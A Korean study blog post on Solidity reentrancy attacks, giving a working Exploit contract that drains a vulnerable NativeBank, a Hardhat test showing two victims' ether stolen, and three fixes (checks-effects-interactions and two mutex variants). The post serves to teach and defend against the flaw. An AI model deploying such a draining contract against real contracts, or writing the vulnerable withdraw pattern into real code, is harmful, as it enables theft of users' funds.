10. Reentrancy Attack (재진입 공격)

동동주·2025년 11월 12일


Todo :
1. Reentrancy Attack 방법
2. Reentrancy Attack 결과 (테스트)
3. 방어 방법




참고
* balance = 블록체인 네트워크에서 관리하는 잔액
* balanceOf = 해당 컨트랙트 내의 잔액

1. Reentrancy Attack 방법

contracts/Exploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

interface INativeBank {
    function withdraw() external;
}


contract Exploit {
    INativeBank nb;
    constructor(INativeBank _nb) {
        nb = _nb;
    }

    fallback() external payable {
        if(address(nb).balance >= 1 * 10 ** 18) {
            nb.withdraw();
        }
    }

    function exploit() external payable {
        (bool success,) = address(nb).call{value:msg.value}(""); 
        require(success, "failed to staking");
        nb.withdraw();
    }
}

코드 흐름 (공격 과정)

→exploit() 실행
→ nb로 이더 전송 (call)
⇒ (NB) receive(), 혹은 reveive가 없는 경우 fallback() 실행.
⇒ (NB) receive() 함수 실행

→ 이더 staking 성공

→ nb에게 withdraw()로 출금 요청
⇒ (NB) 아까 staking 했으니 msg.sender (=exploit 호출자) 잔고 있음
⇒ (NB) 잔고 조건 통과, 호출자에게 이더 전송 (call)

receive(), 혹은 reveive가 없는 경우 fallback() 실행
fallback() 함수 실행
→ nb의 잔고 (다른 사람의 staking 값도 있으니) 존재 확인

→ 다시 nb에게 withdraw()로 출금 요청
⇒ (NB) msg.sender (=exploit 호출자) 잔고 있음
(아직 잔고 0으로 줄이기 전에 제어권이 상대에게 넘어갔으니)
⇒ (NB) 잔고 조건 통과, 호출자에게 이더 전송 (call)

fallback() 함수 실행
→ nb의 잔고 (다른 사람의 staking 값도 있으니) 존재 확인

→ 다시 nb에게 withdraw()로 출금 요청
(반복)
.
.
.

= "reentrancy Attack"
즉, 출금 후 잔고가 줄어들기 전에 다시 출금단계에 진입해서
은행 잔고를 전부 털어오는 것이 재진입 공격이다.




2. Reentrancy Attack 결과 (테스트)

test/NativeBank.ts

describe("NativeBank", () => {
  
  ...
  ...
  
  //자주 쓰는 기능 구현
  const unitParser = (amount: string) =>
    hre.ethers.parseUnits(amount, DECIMALS);
  const unitFormatter = (amount: bigint) =>
    hre.ethers.formatUnits(amount, DECIMALS);

  
  
  it("exploit", async () => {
    const victim1 = signers[1];
    const victim2 = signers[2];
    const hacker = signers[3];

    const exploitC = await hre.ethers.deployContract(
      "Exploit",
      [await nativeBankC.getAddress()],
      hacker,
    );
    const hcAddr = await exploitC.getAddress();
    const stakingAmount = unitParser("1");
    
    const v1Tx = {
      from: victim1.address,
      to: await nativeBankC.getAddress(),
      value: stakingAmount,
    };
    
    const v2Tx = {
      from: victim2.address,
      to: await nativeBankC.getAddress(),
      value: stakingAmount,
    };
    
    await victim1.sendTransaction(v1Tx);
    await victim2.sendTransaction(v2Tx);

    const getBalance = async (address: string) =>
      unitFormatter(
        await hre.ethers.provider.getBalance(address), 
        //블록체인 네트워크에서 관리하는 잔액확인
      );

    console.log(await getBalance(hcAddr)); //공격 전
    await exploitC.exploit({ value: stakingAmount });
    console.log(await getBalance(hcAddr)); //공격 후
  });
});

터미널 결과

❯ npx hardhat test test/NativeBank.ts                                                       ─╯


  NativeBank
1000000000000000000n
1000000000000000000n
    ✔ Should send native token to contract
    ✔ Should withdraw all the tokens
0.0 //공격 전 (1이더 넣음, 잔고 0원)
3.0 //공격 후 (1이더 출금 + 공격으로 victim1,2가 staking 해둔 2이더까지 가져와 총 3이더가 됨
    ✔ exploit


  3 passing (2s)

공격 전에는 1이더를 넣어서 잔고가 0원이지만,
공격 후에는 1이더 출금 + 공격으로 얻은 2이더까지 총 3이더가 된 것을 볼 수 있다. (victim1,2가 각각 1이더씩 staking 해둠)




3. 방어 방법

보안 방법들 참고 :

1. Checks Effects Interactions

Checks Effects Interactions
제어 흐름을 외부 개체에게 넘겨주게 될 때 (외부 함수 호출, 이더 전송 등) 가능한 조건들을 검사하고, 컨트랙트 내부에서 실행 가능한 것을 적용하고, 마지막에 외부 주소를 호출하는 것
(Checks, Effects, Interactions 순서)

+)..
자바 공부할 때 교착상태의 해결 방법 중 하나로 잠금 순서를 변경하는 방법을 보았었는데, 뭔가 그 방식과 유사하다는 생각이 들었다

교착상태(deadlock) - 각각의 스레드가 동일한 자원을 사용해야 할 때, 자원에 접근하기 위해 대기하느라 진행되지 못한 채 중단된 것.
스레드1,2가 자원A,B를 사용하려고 하는 상황이 있다고 하자.
스레드1은 A→B, 스레드2는 B→A의 순서로 자원을 가져간다.
하지만 스레드1은 A, 스레드2는 B을 각자 들고 있어서 필요한 다른 자원을 갖지 못하고 멈춰버린다.
이 때 두 스레드의 자원 획득 순서를 같게 (ex. A→B로 통일) 해주면
A를 가져올 때 둘 중 하나는 이미 가져갔으니 다른 스레드가 기다리고, 결국 둘 다 일을 진행할 수 있게 됨.

contracts/NativeBank.sol

    function withdraw() external{
        uint256 balance = balanceOf[msg.sender];
        require(balance > 0, "insufficient balance");

        balanceOf[msg.sender] = 0; //순서 중요
        
        (bool success,) = msg.sender.call{value:balance}("");
        require(success, "failed to send native token");  
    }

이렇게 바꾸면 잔고를 먼저 없애고 call(호출자에게 이더 전송)이 실행되므로, 해커가 fallback() 함수로 다시 nb에게 withdraw()를 요청해도 해커의 잔고가 이미 0으로 줄어서 출금 시도가 실패한다.

Error: VM Exception while processing transaction: reverted with reason string 'failed to send native token'

잔고 부족 > fallback() 실행 불가 > call 실패 > 'failed to send native token' 오류
의 과정으로 해당 오류가 나온 것 같다.
("insufficient balance" 오류가 생길 줄 알았다....)


2. Mutex 방식 (modifier 사용x)

Mutex(뮤텍스)란? = 상호 배제(Mutual Exclusion)의 약자

참고 : 뮤텍스(Mutex)
개념이 비슷하더니 스레드에서도 쓰이는 용어인듯 하다

contracts/NativeBank.sol

contract NativeBank {
    mapping(address => uint256) public balanceOf;
    bool lock;


    function withdraw() external{
        require(!lock, "is now working on");
        lock = true;
        uint256 balance = balanceOf[msg.sender];
        require(balance > 0, "insufficient balance");

        balanceOf[msg.sender] = 0; //순서 중요
        
        (bool success,) = msg.sender.call{value:balance}("");
        require(success, "failed to send native token"); 
        lock = false; 
    }

코드 흐름

처음 출금 시 lock = false
→ require 조건 true
→ lock = true 변경
→ 중간에 call로 인해 호출된 fallback함수에서 다시 출금 시도
→ require 조건 false로 fallback 및 call 실패

Error: VM Exception while processing transaction: reverted with reason string 'failed to send native token'


3. Mutex 방식 (modifier 사용)

contracts/NativeBank.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract NativeBank {
    mapping(address => uint256) public balanceOf;
    bool lock;

    modifier noreentrancy() {
        require(!lock, "is now working on");
        lock = true;
        _;
        lock = false;
    }


    function withdraw() external noreentrancy {
        
        uint256 balance = balanceOf[msg.sender];
        require(balance > 0, "insufficient balance");

        balanceOf[msg.sender] = 0; //순서 중요
        
        (bool success,) = msg.sender.call{value:balance}("");
        require(success, "failed to send native token"); 
         
    }


    receive() external payable {
        balanceOf[msg.sender] += msg.value; //tx value
    }
}

2번과 동일한 코드를 modifier를 사용해서 넣어주면 된다.
(실제로 이런 방식 사용)

Error: VM Exception while processing transaction: reverted with reason string 'failed to send native token' (똑같은 결과)

참고 :



여기까지를 끝으로 보안 관련 내용은 끝

profile
배운 내용 정리&기록, 스크랩

0개의 댓글